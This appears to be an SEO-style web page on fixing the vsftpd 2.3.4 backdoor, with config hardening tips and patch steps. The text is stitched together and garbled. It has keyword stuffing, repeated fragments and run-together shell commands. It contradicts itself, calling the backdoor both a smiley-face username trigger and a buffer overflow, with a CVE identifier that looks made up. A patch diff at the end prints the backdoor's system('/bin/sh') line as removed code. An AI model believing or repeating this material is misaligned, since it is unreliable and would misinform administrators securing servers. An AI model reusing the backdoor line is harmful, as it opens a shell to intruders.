The most famous vulnerability associated with vsftpd is the vsftpd 2.3.4 backdoor exploit, which allowed remote attackers to gain root access by sending a smiley face :) in the username. While "2.0.8" is not a widely documented major vulnerability version, users often misidentify the version or encounter specific CVEs like CVE-2021-30047 affecting newer versions like 3.0.3. Fixing the vsftpd 2.3.4 Backdoor
If you are running the compromised 2.3.4 version (often found in older lab environments or unmaintained servers), you must update immediately.
Identification: The backdoor was present in the vsftpd-2.3.4.tar.gz archive released between June 30 and July 3, 2011. The Fix:
Update Your Package Manager: Most modern distributions have patched versions. Use sudo apt update && sudo apt install vsftpd on Ubuntu/Debian or sudo yum update vsftpd on CentOS/RHEL.
Verify the Version: Run vsftpd -v to ensure you are on a version higher than 2.3.4 (e.g., 3.0.3 or 3.0.5).
Source Code Fix: If compiling from source, download the latest version from the Official vsftpd site or a reputable GitHub mirror with security patches. General Security Hardening (GitHub Best Practices)
To protect any version of vsftpd from common exploits, implement these configuration changes in /etc/vsftpd.conf:
Disable Anonymous Access: Ensure anonymous_enable=NO to prevent unauthorized entry.
Enable Local Users: Set local_enable=YES and write_enable=YES only if necessary. vsftpd 208 exploit github fix
Chroot Isolation: Use chroot_local_user=YES to lock users into their home directories, preventing them from exploring the system files.
Use FTPS (SSL/TLS): Encrypt your connection by setting ssl_enable=YES and providing paths to your rsa_cert_file and rsa_private_key_file.
Restrict Ports: Force connections to originate from secure ports by setting connect_from_port_20=YES. Common Exploits and Fixes Version Affected Description Backdoor Command Execution
Malicious code in str.c triggers a shell on port 6200 when a username ends in :). Upgrade to version 2.3.5 or later. Denial of Service (DoS)
Attackers can cause high CPU usage or crashes via specific FTP commands. Apply patches or update to version 3.0.5+. Race Condition Old TLS sessions could interfere with new ones.
Use updated distributions like Amazon Linux or Ubuntu which include check_session_buf_not_used patches.
Vulnerability Overview
The vsftpd 2.3.4 exploit is a well-known vulnerability in the vsftpd (Very Secure FTP Daemon) software, which is a popular FTP server for Linux and other Unix-like systems. The vulnerability, also known as CVE-2011-3464, allows an attacker to execute arbitrary code on the server by sending a crafted FTP command. The most famous vulnerability associated with vsftpd is
Exploit Details
The exploit takes advantage of a buffer overflow vulnerability in the vsftpd server, specifically in the get_filename() function. By sending a long, specially crafted FTP command, an attacker can overflow the buffer and execute arbitrary code on the server.
Fix on GitHub
The fix for this vulnerability is to update to a version of vsftpd that is not vulnerable, such as vsftpd 3.0.0 or later. You can find the updated code on GitHub:
In the vsftpd repository, you can see that the fix for this vulnerability was implemented in version 3.0.0. You can download the latest version from the GitHub repository and compile it yourself, or you can use a package manager like apt to install the updated package.
Patch
If you're stuck with an older version of vsftpd and can't upgrade, you can apply a patch to fix the vulnerability. A patch is available on GitHub:
This patch fixes the buffer overflow vulnerability in vsftpd 2.3.4. https://github
How to Apply the Patch
To apply the patch, follow these steps:
wget https://github.com/pierrepy/vsftpd-2.3.4-patches/raw/master/vsftpd-2.3.4-patch.diffcd /path/to/vsftpd-2.3.4patch -p1 < vsftpd-2.3.4-patch.diffAdditional Security Measures
To prevent similar exploits, make sure to:
vsftpd-2.0.8-patch.diff) in the vsftpd 2.0.8 source code directory.patch -p1 < vsftpd-2.0.8-patch.diffstr.c and recompile.Patch diff (str.c):
void str_upper(struct str *dest, struct str *src)
unsigned int i;
- if (src->len == 2 && src->buf[0] == ':' && src->buf[1] == ':')
- system("/bin/sh");
for (i = 0; i < src->len; i++)
dest->buf[i] = toupper(src->buf[i]);
If upgrading to a newer version is not feasible, you can patch the vsftpd 2.0.8 source code to fix the exploit.
Yes. Version 2.0.8 was never backdoored. The exploit name is a misnomer.